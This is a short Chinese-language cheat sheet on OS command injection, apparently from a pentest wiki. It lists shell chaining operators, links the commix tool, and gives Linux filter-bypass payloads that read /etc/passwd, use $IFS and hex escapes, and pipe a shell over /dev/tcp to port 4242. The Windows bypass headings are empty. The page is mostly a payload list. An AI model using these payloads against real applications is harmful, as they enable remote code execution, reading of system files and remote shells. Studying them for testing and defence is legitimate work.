命令注入

有时应用程序会接受用户提供的输入并作为参数传递给命令行上的工具。 将用户提供的输入传递给命令行总是一个坏主意,应该避免。 根据操作系统,您可以使用多种技术来执行其他命令,从而允许攻击者获得 RCE
& 
&&
|
||
;
`Command`
$(Command)

工具

https://github.com/commixproject/commix

绕过 bypass

Linux无空格

cat</etc/passwd
{cat,/etc/passwd}
cat$IFS/etc/passwd
echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd
X=$'uname\x20-a'&&$X
sh</dev/tcp/127.0.0.1/4242
IFS=,;`cat<<<uname,-a`
;ls%09-al%09/home

Windows

绕过回车

通过十六进制编码绕过

绕过字符过滤器

绕过列入黑名单的词

最后更新于

这有帮助吗?